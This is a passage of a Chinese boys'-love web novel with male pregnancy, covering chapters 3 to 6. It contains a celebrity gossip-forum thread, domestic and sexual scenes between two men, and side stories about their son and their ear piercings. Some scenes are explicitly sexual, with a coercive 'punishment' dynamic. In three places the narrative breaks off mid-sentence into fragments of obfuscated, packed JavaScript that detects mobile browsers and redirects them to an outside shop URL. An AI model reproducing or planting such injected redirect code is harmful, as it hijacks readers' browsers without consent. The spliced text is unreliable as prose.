《和豪门好兄弟睡了还怀了他的孩子》 3.科技和惩罚 与此同时,社媒已经围绕 “另一位男嘉宾”打了无数场架。 狗仔放出的接吻照糊得没救,压根看不清。唯一被当作物料到处疯狂搬运的,只剩某位某私生由爱生恨甩出的那张车库全身照。 偏偏她当时多半还没意识到这是哥夫,只当这位素人大帅哥是自家“老公”的好兄弟,给足了帅哥待遇,把哥夫拍得格外出片。 照片里,男人身形修长,站姿笔直,肩宽腿长,比例好得像建模。腕间扣着一只PP腕表,金属表链紧贴衬袖,只露出一点弧线,利落干净。 灯光偏暗,镜头又远,脸上带着一点虚焦,骨相却被勾勒更锋利:眉锋入鬓,鼻直唇薄,下颌线干净利落得像刀削,帅得毫无死角,极其惹眼。但真正让人不敢直视的不是他的帅,而是那股从骨子里散出来的冷意,让人第一眼看过去,本能就发怵。 这种长相放娱乐圈随便走两步都能原地出道,从小到大肯定属于人群里自带聚光的那种存在。 现在又爆出“和顶流当场出柜”这种年度天花板大瓜,按理说但凡跟他沾过一点边的人,都该立刻跳出来蹭热度,在 xhs 或 wb 开小号,打着“前xx”“名头爆两句隐私,爽吃这泼天的流量。 可诡异的是,一整晚过去,论坛楼盖了十几栋,全身行头的品牌、手表的型号、穿搭价位都被扒得清清楚楚,偏偏唯一扒不出来的就是他的个人信息。除了“高”“富”“帅”,一切都是谜。 这脸配上这瓜,按理说早就被啃到连骨头渣都不剩,但在这场破天富贵的诱惑面前,圈里圈外却集体噤声。 虽然有些财经大v看到照片时一秒就完成了对号入座,但也只敢在好友圈打哑谜,在评论区和同行对暗号。生怕稍有不慎,自己百万粉丝号就被关小黑屋。 粉粉黑黑掐了一晚,终于集体回过味。 另位男嘉宾的身份恐怕不简单。 黑子闻着味就来了,论坛里开始回怼那批还在硬拗“迟铎是有担当好男人,扶贫不知名素人”的梦女粉说: “迟铎明明更像是mpg傍豪门、单方面认爱急着上位。” 于是,#做鸭上岸# #迟铎上位#统统冲上热搜,外围战场再起一轮腥风血雨。。 时间线回到昨夜凌晨。 裴与驰抱着被“照顾”到意识涣散的新手妈咪回到主卧后,他先把人按进被子里,掖好被角,低头在额头上轻轻碰了一下,才伸手去拿自己丢在床头的手机。 屏幕亮起,照片、热搜截图、舆情简报规规矩矩躺在最上面。 裴与驰靠在床头,一条一条刷过去。 指尖滑到那张迟铎在机场角落抽烟那张照片时停了半秒,眸色沉静,看不出半点情绪起伏。 片刻后,他直接合上手机扣回床头柜,伸臂一勾,把迟铎往怀里一带,动作自然熟练,像是做了千百遍,然后闭上眼。 老板的已读不回,就是最明确的指令。 于是,热搜和词条安稳挂到了现在,一条没撤。 最会见风使舵的财经圈白天立刻悟到大佬态度: 不澄清、不否认,那这不是丑闻,是官宣。 天降泼天流量,不接才是傻子。 某野生但流量客观的财经公众号很快跟上热度,甩出一篇《梦女榜一碎尽梦女心,顶流出柜出到财经版》。 标题辣眼睛,正文却一本正经,全篇不提八卦,只严肃吹捧裴与驰名下那只近两年在华尔街异军突起的精品对冲基金。 “裴与驰”三个字都没敢打,通篇只叫他:Bruce Pei。 “裴家”两个字更是连影子都不敢擦。 饶是这么晦涩含蓄,还是足够让闻风赶来的吃瓜人提炼出重点: 迟铎,极大可能是跟一个男大佬结了婚。 这篇公众号文章很快被瓜友搬进了7788组。 《报!财经圈 wstbets 公众号发文:梦女榜一碎尽梦女心,顶流出柜出到财经版》 主楼直接甩了公众号刚发的文章截图。 1L: 这也太文不对题了吧?标题起得这么轰动,正文突然变无聊的基金推文。这什么野鸡公众号?怕不是那个 Bruce 趁乱搞宣传,买个小号给他那只韭菜基金写软文,准备顺便收割吃瓜群众。 2L: 1楼冷静,我一开始也懵,但细细读下来确实有点意思,好像在暗戳戳告诉我们:哥夫就是这个Bruce Pei? 3L: 应该不至于是软文,因为我首页关注的一堆财经大V也转了这篇,我看到转发立刻跑来组里蹲瓜。财经圈这种集体“转发不表态”,一般都意味着有大佬级别的人物牵涉其中。 4L: 本金融狗看到 AUM 那一段直接清醒。十个人的小团队,两年AUM拉到百亿刀,还能保持那么低的回撤,这是什么级别的华尔街大鳄? 我去领英扒了一圈,哥夫本人没找到,但其他员工清一色藤校 + 花街顶级基金履历。哥夫这种配置,不像白手起家,反倒像是自带出厂光环的那种继承人,当然本身也极其牛逼。 所以有没人再深挖一下哥夫家族背景啊?我现在抓耳挠腮迫切想知道哥夫到底拿的是《继承者之战》剧本还是《华尔街之狼》。 5L: 楼上太天真了吧。我订阅 wstbets 好几年了,它平时喷大佬喷得飞起,从不留情,哪有今天这么谨慎的? 现在写哥夫,别说中文名,全文章只敢放一个 Bruce Pei。 这态度……懂得都懂了。会科j/上网的等会去看看有没有进展吧。这话题再聊楼估计真要没。。 6L: 金融圈的事你们聊,本笨人看不懂。但我更看不懂冷脸西装霸总怎么就能和grunge亚比潮男看对眼了。这是什么阴湿小众到极点的组合? 搁小说里我得私信问问作者生活是有多苦才能报社写出这种品味的cp。 7L: 赞同。两个人单拎出来都能争梦女榜榜一,同人圈也都是大热攻设。偏偏硬凑一起,攻攻拉郎味道溢出屏幕,出柜等于被迫观看日攻文学。 8L: 腐蟑螂可以闭嘴吗?小说就算了,现实还在那攻攻受受,这是真一对男同啊!迟铎靠梦女吃饭这么多年,嘴上不营业,背地里被男人搞,他到底存的什么心? 这不是骗粉是什么?梦女是什么工具人? 9L: 楼上是多梦女破防回踩了吗?当初不是你们吹得最响,说他不操人设、不营业、不媚粉?现在恋爱对象是男的你们就开始骂“骗粉”,所以他到底媚粉了没?不媚粉咋来的骗粉? 10L: 我之前是 cd 的事业粉。他要是真走媚粉那套,我也不至于跑得这么干脆。 这人出道那天起就是“人设塌无可塌”的类型:抽烟、纹身,穿着打扮亚比晚期,从不营业,也不会哄粉。私生夜里蹲他楼下偷拍,被他当场抓住,伸手就把镜头按下去,砸完让对方把卡拔了交给助理,转头又让工作室按市价三倍转账给对方收尾。 作为前事业粉,虽然他长相和穿搭写满了“我 rap 超炸”,结果一开口调能跑十八里地,音乐全靠修音和声卡续命;但他演街头小混混、底层人物那类角色是真的有感觉。他这些年在电影里的镜头加起来也就一百来分钟,我都能为了那点东西继续粉下去。 结果倒好,他说消失就消失,一年人影不见,我忍不了只能提桶跑路。现在回头看,真是庆幸自己跑得早,慕强事业批发现正主其实是个恋爱脑,我要血溅屏幕了。 但我要说句公道话,他真不像是会傍豪门的。他家底本来就不差,出道那会儿看他的吃穿用度就知道了。他只是唯爱邋遢视觉系,他常穿的那双像是在泥地里泡了三年的旧靴子,和领口快烂成布条的 T 恤,都是几千上万刀的价位。这种家底,对方再富裕,也没必要赶着上去吧。 11L: 要我说,看上面猹猹们八的哥夫的背景,如果是真的,多粉也别气了,至少你家哥哥是持证上岗,【home/hotel/motel】三者还是有显著区别的。你哥现在是home,唯一缺点不能生,可能要帮老公找个motel生个儿子,然后抱进来自己养。 梦女榜一化身大婆教主,嘻嘻。 12L: ls说话真难听,本真纯路人吃了一天半瓜,不解为啥讨论到最后非得扯到“谁傍了谁”?先不说这俩配不配、组合惊不惊悚吧,但两个都既年轻又有钱有脸,怎么也不像穷到要被对方接济的样子。 难道年纪相仿的帅哥就不能真谈恋爱?剧情一定要按“豪门嫖鸭”“穷小子上位”那种下三路剧本走? 13L: Ls你说的对,但这是在八组,粉黑批皮打架的地方,立组之本就是:内娱无真爱,上岸全靠卖。 假男同为了红在耽丑剧里做零都要被叫鸭,红了还得想法设法接主旋律大制作才能脱鸭皮上岸。 更何况现在是现实真男同,还是梦女粉遍地爬的那位突然被爆做零。 如果哥夫真是穷小子,梦女粉还能捏着鼻子强行小母矮攻壮受塑。勉强把哥夫归为男嫂子那类。 但按哥夫这高富帅的样子,梦女是彻底骗不了自己,老公当零已成定局。你让乙女无缝衔接到四爱。那我还不如相信林黛玉在和伏地魔谈恋爱。 就这脱粉回踩力度已经够迟铎风评喝一壶的了,更别提本来就看不惯他的对家粉钻裙底趁机供火。 不过话又说回来,按照cd这人长期不营业,不饭撒、不哄粉的尿性压根不也不会在乎。 这边嘴再臭,他那边照样该干嘛干嘛,连眼皮都懒得抬一下。 …… 组内帖子越摞越高,热度节节攀升。 王平柔在那通电话之后总算冷静下来。 她先让工作室悄悄撤掉几条过于难听的对家买的黑热搜,然后彻底按兵不动。 品牌方的质询邮件接二连三砸进来,她连眼睛都不眨一下,手指头都没停,噼里啪啦全转发给裴与驰的助理: “大佬家的家事,大佬自己处理。谢谢。” 她彻底想明白,阔太的烂摊子理所应当由阔太他老公兜着,她一个经纪人着什么急。 想通这一点,王平柔瞬间佛系,抱着靠垫哼了声小曲,抬手就把电视剧打开了。 王牌经纪人那边刚摸上鱼,裴总也不甘示弱。 他的座驾比往常早一个小时滑到家门口,他却照旧坐在后座,把最后几封工作邮件敲完才准备下车。 一向沉默等他忙完的司机老陈,这回难得犹豫地开了口: “少爷,家里好像来了客人。” 裴与驰抬眼往车窗外扫了一眼,果然在自家车道上停着一辆骚到晃眼的红色法拉利。 法拉利那边的人也正好看见了他,车门一开,人立刻迎上来:“裴哥好。” 裴与驰点头算回应,眼神却越过那人,稳稳落在门口的迟铎身上。 那人头发软软垂着,像是刚吹干。但身上,从项链到皮衣,长靴一应俱全,整套行头帅得挑不出毛病,只差弄个发型就能出门表演何为芳心纵火犯。 裴与驰眉梢轻轻一挑,眼神很淡,迟铎却清楚这是在等自己的解释。 迟宇凡跟在后头,一见情况不妙,立马顺杆爬:“哥你们先聊,我在车里等哈!” 话还没落地,他已经无视迟铎在背后疯狂打信号,人像脱弦的箭冲回车里,仿佛背后有狗在追。 我靠,他怎么提前回来了。 迟铎原以为自己能先斩后奏结果没想到被抓个现行。他当机立断把锅甩自己堂弟身上。 “迟宇凡说好久没聚了,喊我去他家玩一玩,”迟铎强调,“其他人你都认识,就周淮他们,纯聚,不喝酒、不抽烟。” 裴与驰看着他,神色没什么起伏。然后,他慢慢收回视线,轻轻“嗯”了一声。 裴与驰从迟铎身侧走过,步子不急不慢,路过迟铎时,他声音低沉、毫无波澜地落下一句: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847875|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“换件衣服。” 迟铎耳尖“腾”地一下红了。 这是他们之间才懂的暗号。 自从他开始涨奶后,只要胸口胀得难受、衣服前面湿了一片,他就会沉着脸跟裴与驰说一句:“我去换件衣服。” 然后两个人会一前一后、不动声色地走进婴儿房。 不过这一次,迟铎终于翻身农奴把歌唱。 想到以后终于不用再预约裴大少那种连吃带拿的垃圾“服务”。他心情好得一边吹起了口哨,一边双手插兜跟着旁边这个冷脸西装男进屋,走两步还顺手一拉,把此男往厨房里带。 “今后就不劳裴总大驾了。” 他说得理直气壮,顺手一把拉开冰箱门,一脸得意地展示里面整齐排好的密封瓶,顺带拍了拍冰箱门,像在展示什么战利品。 “看见没?科技改变生活。” 他得意地挑着眉,满脸都是老子从此自由了。 裴与驰站在他的身后,眼神扫过那排瓶子,然后盯着迟铎不发一言。 气氛安静的有点诡异。 迟铎被盯得心里发痒,刚要再开口嘲一句“以后不用你了”, 下一秒, 身后那人忽然伸手,扣住他的腰,把人往墙上一按。 迟铎哼了一声,想抬手推开对方,却被裴与驰顺势扣住手腕。 男人俯下身,声音贴在他耳侧,低沉又稳: “电动的东西,你品味如此就继续用。” 迟铎:“……?” 裴与驰垂着眼,看他侧脸,语气平淡: “那你背着我抽烟怎么算?” “我说了今晚真纯聚,不抽烟喝酒。” 迟铎理直气强调道。 开什么玩笑,自己再不靠谱也知道家里还有个等着吃奶的 bb,哪敢乱来。 但裴与驰并未接茬,只是盯着他。那眼神平静得过分,像是在提醒他,自己遗漏了什么。 空气停了半秒。 迟铎反应过来,骂了一声:“草。” 原来在这等着他呢。 他以为裴与驰这种人,出柜这种无聊的小事肯定是直接扔给助理处理; 更别提去看私生拍的那些照片 结果现在看起来,不但看了,还挑重点记了。 裴与驰的视线从冰箱那排“科技成果”移回他身上,然后慢慢落在他衬衣下那块因为涨...而变得明显柔软的地方。 男人淡淡道: “不喝酒、不抽烟。” 六个字,跟审判似的,把迟铎刚才的嘴硬全摁回了喉咙里。 厨房里安静到只剩呼吸。 迟铎:“……靠。” 裴与驰安静地盯着他,不说话。 那种沉稳、笃定的冷淡,让人火大。 但偏偏,从小到大,迟铎最扛不住的就是他这幅死样子。 迟铎烦躁地抬手抓了一把头发:“老子就抽了两口!两口!!只闻味儿都没过肺。” 语气硬得要死,但尾音虚得要命。 并非其他,只是迟铎突然想起来,他们之前“约法三章”过。 再抽烟,会被惩罚。 那种完全不适合他现在这副……身体的惩罚。 一想到这里,他忍不住又爆了句粗: “……操。” 裴与驰当然听得一清二楚。 男人退开一点点,像是给炸毛的猫咪一个逃跑的空间。 但下一秒, 他伸手捏住迟铎的下巴,强制把他的脸扳回来。 动作不重,气场却压得人动不了。 裴与驰语气平静得近乎温柔, 呼吸的热气从迟铎耳畔擦过: “约定过的,要兑现啊......” 裴与驰观察着迟铎的反应,特意把话停顿一秒,再轻笑着开口道,“宝宝。” 迟铎:“……” 与此同时, 在外头车里打游戏的迟宇凡,30 分钟后准时关掉响起的手机闹钟。 对这种结局早习以为常的他抬头望向裴宅,眼神里带着毫不掩饰的同情: 我的哥啊,直路你不走非要走弯路。 自己找的老公,自己自求多福吧。 然后,他一个帅气漂移,狂甩一串汽车尾气,飞速撤离裴宅。 裴宅新上岗的月嫂显然业务精湛,喂奶、拍嗝、哄睡、一条龙。 这一晚,婴儿房静悄悄的,小魔王破天荒的连平时半夜的小哼唧都没有。 安静到让新手妈咪根本找不到任何“借口”从主卧撤退。 更要命的是, 迟铎刚买回来的电动挤奶器表现惊人,性价比超高,指哪打哪,吸哪哪灵。 跟某人一唱一和, 两件东西联手,让他整整一个晚上都在被迫“接受全方位无死角照顾”。 更惨的是还要在过程中分心感受匀速和变速的区别。分不清就要无限重来,直到最后被迫被承认自己品味低下,山猪吃不来细糠。下午挤......竟然觉得匀速好过变速。 因为如果不承认就要被变速到承认,亲身体验了多次之后的迟哥觉得大丈夫必须要懂得能屈能伸。 总之裴宅最昂贵的独一无二的喷泉在今夜所有开关都被打开,尽情喷个不停,一直喷到深夜才停歇。 这就是他们之前约定的“惩罚”。 第一次被迫解锁时,迟铎就已经刻骨铭心,不信教的他甚至诚恳的在事后暗自发誓绝对不能有下一次。 但现在,他居然是自己搬起石头砸了自己脚。亲手买了个电动设备,自动给惩罚加码。 等整栋房子彻底归于宁静,迟铎涣散的意识才慢慢回笼。 他靠在床头,整个人像刚被从水里捞起来一样,肩膀还在微微发抖。 有人端着一杯温水在他旁边坐下,语气不轻不重: “爽吗?” 迟铎沉默良久,最后只憋出一句: “……操。老子真不该吸那两口。” 4.儿子爱妈咪[番外] 龙生龙,凤生凤,冷漠傲慢男的儿子,生下来即使不是个小冷漠傲慢男,也会最终成长为小冷漠傲慢男。 场景1: 周五放学,校门口人声嘈杂。 小冷脸男单肩背着书包,低头滑手机查最近哪家电玩店新货最多。 小鬼虽年纪还小,但已经盘靓条顺,往后随便长长就是顶级帅哥那一档,对他芳心暗许的能排成长队。可惜气质太冷,说话惜字如金,眼神更是懒得分给旁人。。 一辆宾利稳稳停在他面前,气压一下压到到冰点。 小冷脸男皱眉:“啧。” 不耐烦写在脸上。 后座车门打开,他抬眼确认了一下,钻进车里,声音平平:“爸。” 裴与驰点了下头,算是回应,眼神还落在电脑屏幕上。 车里安静了三秒。 小冷脸男此刻还小,忍不住问:“……我妈呢?” 心里骂骂咧咧: 好烦啊,今天怎么是老头子来? 妈咪不是说好要带他去打电玩吗? “今天我顺路。”裴与驰语气淡淡。 小冷脸男沉默一秒:“……哦。” 对话就此终结。 老陈在前面握着方向盘装死。 车开进裴宅,铁门自动打开。 门口,迟铎正靠在门框上打哈欠,吊儿郎当地等儿子。 下一秒,小冷脸男的冷脸直接塌掉,他冲过去,抱住人,撒娇地喊着: “妈咪。” 场景二:亲爱的妈,工具的爸,空气的其他 bb时期一视同仁喊爹地妈咪,除了必须要趴在妈咪胸口才肯安稳睡觉外。 会翻白眼后,五官和表情自动向他爸靠拢,语气也是:“爸” 青春期,脾气跟骨相一起长,虽然嘴上还叫“爸”,但内心 OS 已经毫不客气地升级成:老头子。 但对迟铎,从始至终只有一个称呼:“妈咪。” 小时候刚睡醒还没来得及睁眼,已经软软地喊着:“妈咪……抱。” 被老爸训后气到脸臭三天,“妈咪”一出口还是乖的。 就算青春期脾气冲上天,他走出门前也会冷着脸丢一句: “妈咪,我去学校了。” 语气再怎么硬,只要说到“妈咪”这两个字,尾音都会自己软下去三度。 像是刻在基因里的。 至于其他人? 空气需要什么称呼? 相应的,凡是跟儿子有关的事一律发给助理,由助理接收和处理。 在裴与驰这边,儿子不是老婆,不配占他时间 场景三: 明天要出发去参加半个月的 camping,小冷脸男提前把行李箱拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848429|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下楼。 裴与驰在客厅看文件,他走过去停下: “按时打钱。” 裴与驰眼都没抬:“Lisa 下午会跟你确认。” 话落得干脆利落,不像老子对儿子,像老板对下属。 迟铎看着这一大一小的父子,怕儿子心里憋着不开心,下午就拉着他一起在游戏房里打电玩。 赛车游戏开到最后一圈,小冷脸男一直稳居第一,但下一秒,手指一滑,赛车狠狠撞上墙。 紧追其后的迟铎眼睛一亮,立刻借道超车,游戏结算界面直接反超成功。 小冷脸男偷偷瞟了一眼妈咪,如愿看到喜色爬上迟铎那张脸。 迟铎收了手柄,想了想,突然来了一句: “你爸只是不善言辞,他其实很爱你。” 小冷脸男淡淡地“嗯”了一声:“我知道。我也爱老……我爸。” 再下一秒,他整个人往迟铎怀里一倒,冷脸彻底破功,声音一下软下来: “妈咪!我要离开半个月欸!所以——” 他抱着迟铎,像小时候一样赖得动不了。 “我想确保明天早上一睁眼就能看到你。” 场景四:假设哥和哥夫受邀参与妻子的浪漫旅行 迟铎:“ 什么玩意儿?” 邀请还没递到裴与驰那里就被他下属拦截掉了。 5.耳洞[番外] 刚出道那会儿,迟铎左耳上的两颗大钻在舞台灯底下晃得人头皮发麻, 导致路人都被迫被科普了一遍: 这亚比装逼男只在左耳耳骨和耳窝穿孔。 耳垂?一个洞都没打。 理由也很迟铎:耳垂太普通,不够酷,不配出现在他脸上。 但真正促成这两颗耳钉的幕后故事,一点都不酷。 高二那年,他被同学拉去看了一场摇滚乐队的演唱会。 作为一个从小五音不全的人,音乐没听懂,炫技没感受到。 整场演唱会除了凑热闹就是给赶 due 的曲库加入新曲。 但音乐之外,台上的乐队和台下的粉丝,从发丝到鞋底都透着一种颓废、松弛的劲儿,彻底帅到了他。 他立志成为grunge亚比潮男, 但高中生。 所以打钉打到漏口水就暂时别想了,只能先从衣服凹造型。 可惜学校非常限制他发挥。 寄宿男校管得过严,一周只能外出一次,还得靠表现积分兑换名额。 但幸好迟铎的室友是裴与驰。 学生会主席,dean’s list万年榜首,预估成绩全 A*, 校长提前半年就给他写好牛津推荐信,毕业典礼的演讲早为他预留。 所以别人累死累活换外出名额,他们俩只需要去公室点个头,便能光明正大出门逛伦敦。 于是迟铎拖着裴与驰把所有复古市集翻了个遍,扛回来一堆看着像垃圾,实际上贵得要命的破布。 裴与驰看不过眼,把实在过界的一批垃圾全部捐给了学校 charity。 迟铎到今天都不知道,买的太多,记不住。 毕业典礼一结束,礼服还没折好,迟铎就把裴与驰拖进东伦敦砖巷里的穿刺店。 他非常清楚自己的极限:耳骨、耳窝够帅,能顶住。唇钉、眉钉、舌钉虽更炸,但也更疼。 而他怕疼。 酷guy跟耐痛力没有任何线性关系。 穿刺店外墙满是涂鸦,门口贴满摇滚海报。 迟铎推门而入,不发一言,看着游刃有余,手心却悄悄冒了汗。 裴与驰跟在身后,单手插兜,另一只手在看交易盘,对整个穿刺店毫无感想,典型陪客姿态。 从初一入学那天相识起,他就是这幅波澜不惊的样子。 当off-white、vetements是同学出门标配时,他穿萨维尔街高定三件套。 未来衣帽间里会塞满西装的无趣男人。 迟铎看着就不爽,坏心思顺势毫无预告地冒了出来。 迟铎抬了抬下巴,对穿刺师无声示意:“他先。” 穿刺师见多了,以为是小情侣之间的把戏。 便点点头,手上操作不停。 裴与驰正低头回消息, 迟铎:“你,坐那儿。” 裴与驰抬眼,只当又是他一时兴起的怪脾气。淡淡“嗯”一声,敷衍地走到椅子边坐下,继续看着手机处理交易。 下一秒, “噗——” 金属针干脆穿透左耳耳骨。 裴与驰干脆连眉都没动一下。 手机也没挪开半寸,指尖还在飞快回消息。 穿刺师都愣了两秒。 迟铎:“……” 裴与驰的淡定,让迟铎严重、极度、致命地低估了疼痛。 直到针真正贴上他的耳软骨, 刺痛猝不及防地炸开, 像电流顺着神经线一路往天灵盖劈。 迟铎眼前瞬间发白, 牙根一咬,爆粗是本能: “操!” 还有一个耳窝要打。 穿刺师温柔提醒:“放松,很快就好。” 动作却一点没停。 等全部结束, 迟铎眼角微微发红, 左耳热得像能煎蛋。 他捂着耳朵,呼吸还在乱, 目光复杂得像在看一个怪物: “……你是不是神经有点问题?你没痛觉吗?” 裴与驰这才锁屏抬头。 因为刚完成一笔漂亮的抛售,情绪难得处于“心情不错”档位。 他抬眼瞥他一眼,冷淡总结:“只是比起某人,好很多而已。” 迟铎:“……” 左耳更热了。 不是疼的,是气的。 等到左耳的刺痛演变为麻木,两人才出了门。 没想到,六月的伦敦夜风也足够阴狠,猛地钻进刚打的耳洞里。 疼痛顺着神经线,从耳廓一路劈到后脑,痛觉直接开了新副本: 脑神经痛。 迟铎咬着后槽牙死撑。 裴与驰注意到了他眼尾那一点不自然的抖动。 下一秒,他把一直放裤兜的左手拿出来,然后动作干脆不拖泥带水,左臂越过迟铎脖颈,暖手掌稳稳覆上他左耳外侧。 暖意贴上耳廓后,刺痛被压下去一大半。 迟铎整个人一僵,不太习惯这个有点诡异的姿势,便不自觉想往旁边躲一点, 裴与驰皱眉,伸手扣住他的后颈,把人往怀里带了带,让手掌与左耳贴得更严丝合缝。 “别乱动。” 语气平淡又自然。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852725|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是,两个本应并肩走路的“好兄弟”,此刻以一个诡异又暧昧的半拥姿势,从巷口走到路灯下等 Uber。 耳洞养好后,大学开了学,男校那些森严校规全都不见。 迟铎刚把十字架大耳链挂耳朵上没两天,就收到了裴与驰的礼物。 裴与驰嫌迟铎耳朵上的玩意儿太丑碍眼睛, 然后就很裴与驰式地处理了这件事: 他直接订了两只圆钻耳钉,净度/切割完美,大小嚣张,戴上能闪瞎三排观众。 递给迟铎的时候只说了三个字: “换这个。” 迟铎当场翻白眼:“什么暴发户审美。” 但嘴上骂得这么狠,转头还是戴上了。 然后就再也没取下来过。 如果不是迟铎坚持,裴与驰左耳的耳骨孔早就自动愈合了。 裴与驰最常戴的是卡地亚最普通的小钻耳钉,就是那种不仔细看根本发现不了的尺寸。既低调又无聊,非常裴与驰。 但迟铎不乐意。 “打都打了,不戴不是浪费吗? 而且你给我送,我也得回礼。 最重要,好兄弟就要一起帅!” 于是迟铎按自己喜好给裴与驰买了克罗心全家桶:耳钉的、耳坠的、耳圈的应有尽有。 双方僵持许久,最终各退一步, 日常场合,裴与驰戴克罗心最简约的白金带钻十字花迷你耳钉。 但到了某些不那么正式的场合,裴与驰左耳耳垂上,就会出现和他那身高定西装完全八竿子打不着的东西: 十字花耳坠。 骷髅耳钉。 爱心环耳圈。 看一眼就知道,出自谁手。 某个周末, 伦敦都可奶茶店的排队队伍突然起了骚动。 原因无他,队伍里新来了两个大帅哥。 裴与驰难得不穿西装,头发随意散着,白T配牛仔裤,左耳挂着克罗心十字架耳坠。 少了穿西装时的疏离高冷,只剩下毫不遮掩的英俊惹眼。 迟铎也不遑多让:渔夫帽、背心、低腰破洞 baggy 裤,耳骨那颗大钻在阳光下闪得刺眼,整个人痞帅又性感。 两人一前一后排队,并未交谈。 队伍里手机相机的咔嚓声从他们来,就没停过。 时不时还有穿着周仰杰细高跟的美女,附带几个扭腰摆臀的小零们鼓起勇气过来碰碰运气,询问帅哥们能否留个ins或者微信。 反正钓到哪一个都不亏,双fly也不是不行。 毕竟这种级别的帅哥,全是“极品老公/帅1”天花板。 6.初体验(惩罚版)[番外] 初当妈没多久,迟铎的夜生活从蹦迪变坐牢。 刚出生的婴儿在大床边的小床里安稳地睡着。 昏黄的夜灯亮着,他穿着一身蓝色真丝睡衣,长腿随便往床沿一搁,漫不经心地摇着小床。 嘴里叼着一根没点燃的烟,咬得烦躁。 门轻轻响了一下。 裴与驰进来。外套搭在臂弯,衬衫松开两颗扣子,袖子随意挽起。 他先看了孩子一眼,确认其在他新手老妈的魔爪顺利下存活,再抬眼落到迟铎嘴边那根烟上。 空气顿住。 迟铎被盯得心里发虚,嘴硬得很:“……又没点,我就闻一下。” 裴与驰倚在门边,神色不变:“说好了,用棒棒糖替代。” 迟铎一听到“棒棒糖三个字”就感觉香精甜味从胃里翻涌而出。 裴与驰看着他的表情,嘴角露出一点弧度。 他整理好袖口,从口袋里抽出纸巾擦了擦指尖,动作不紧不慢: “既然棒棒糖不行,” 他抬眼,语气低得像从喉间滑过: “那就咬别的。” 迟铎:“……” 他发愣了一瞬,脑中把裴与驰过往那些“威胁戒烟”的狠话过了一遍,确认那人狠话没少放,但真没把他怎么样过。 他立即镇定下来。 “叫什么……哥这不是在戒着吗?又没抽,咬着怎么……” 话没落地。 裴与驰已经走到他面前,抬手捏住烟尾,把那根烟从他嘴里抽走,动作干脆。 下一秒,烟落进垃圾桶。 迟铎心里一空,刚抬头要骂, 下巴已经被扣住。 裴与驰的手沿着他的下颌往上推,让他抬头。 那股控制力让人下意识屏住呼吸。 迟铎眼神一缩。 裴与驰左手两根手指并在一起,毫无预兆地探进他的口腔深处。 敏感柔软的地方被触到的一瞬间,整条神经像被带电的线刮过。 迟铎呼吸乱了,眼尾发红,泪水从眼角滑落,声音几乎被逼回胸腔,只泄出一声模糊的哽音。 裴与驰的手稳,语气更稳: “你的嘴,”他说,“只能咬我允许你咬的东西。” 迟铎怔住。 “若是不听,”裴与驰的手指轻轻往深处一推,换来一声呜咽。 “你会有很长一段时间开不了口。” 不是威胁,是陈述事实。 迟铎不怀疑裴与驰......的实力 那两根手指退出时,指腹擦过下唇内侧,像顺毛安抚,也像一种漫不经心的占有。 迟铎终于能呼吸,脸却在几秒内烧得通红。 好一会儿,他低声骂: “……神经病。” 裴与驰看他: “嗯”。 “只对你”。 语气坦然。 迟铎被这句话打得没有招架之力。 委屈从胸口一路往上冲,憋不住,索性“啪”地一声倒在床上,把帅哥体面一起摔了。 孩子会不会醒?不在考虑范围内。 他抱着枕头,声线闷着,像把情绪埋在棉花里: “老子才拆线不久,伤口还疼,你这死渣男就开始折腾我。” “我以前好歹也是个大帅比,追我的人拿着爱的号码牌都能从街头排到街尾,你不变性根本排不上号。” 他像炸毛的猫一样,踢了被子一脚: “以前抽烟喝酒不需要看人脸色,蹦迪赛车都能压场。现在好,凭空冒出个孩子和老公,抽烟不让喝酒不准,人生全面崩盘。” 说完,他猛地坐起,眼尾红得发亮,像头被逼急的小兽。 “我要离婚。” 裴与驰沉默两秒,走过来。 他掀起迟铎睡衣的下摆,半蹲下去。 迟铎:“……你干嘛?” 话没说完。 一股温热落在他腰侧刚拆线的伤疤上。 裴与驰低头,吻了那里一下。 不重,不带任何欲念。 只是极认真地、安静地安抚。 迟铎僵住。 每一吻都落在伤口边缘,轻得像羽毛,却精准得让人发麻。 疼意被覆过去,换成一条细密的电流,从腰侧窜上后颈。 脸完全烧起来。 靠。 又一个更轻的吻落下。 迟铎指尖猛地收紧,抓住床单,呼吸失了准头。 “等一下……” 声音轻得像被风掠过。 裴与驰抬头。 眼神冷静得过分,像刚才那些吻不是他做的。 “别动。” 迟铎:“……” 妈的。 再这样亲下去……他不由自主地绞紧了腿,呼吸发颤. 两……间那股湿意悄悄渗出来,压也压不回去。 裴与驰的动作忽然停住。 迟铎心脏一跳:完了。 裴与驰低头, 看到了, 蓝色睡衣上那一小片慢慢晕开的深色。 迟铎一手捂住脸,整个人僵住得像被雷劈过,等着嘲讽落下。 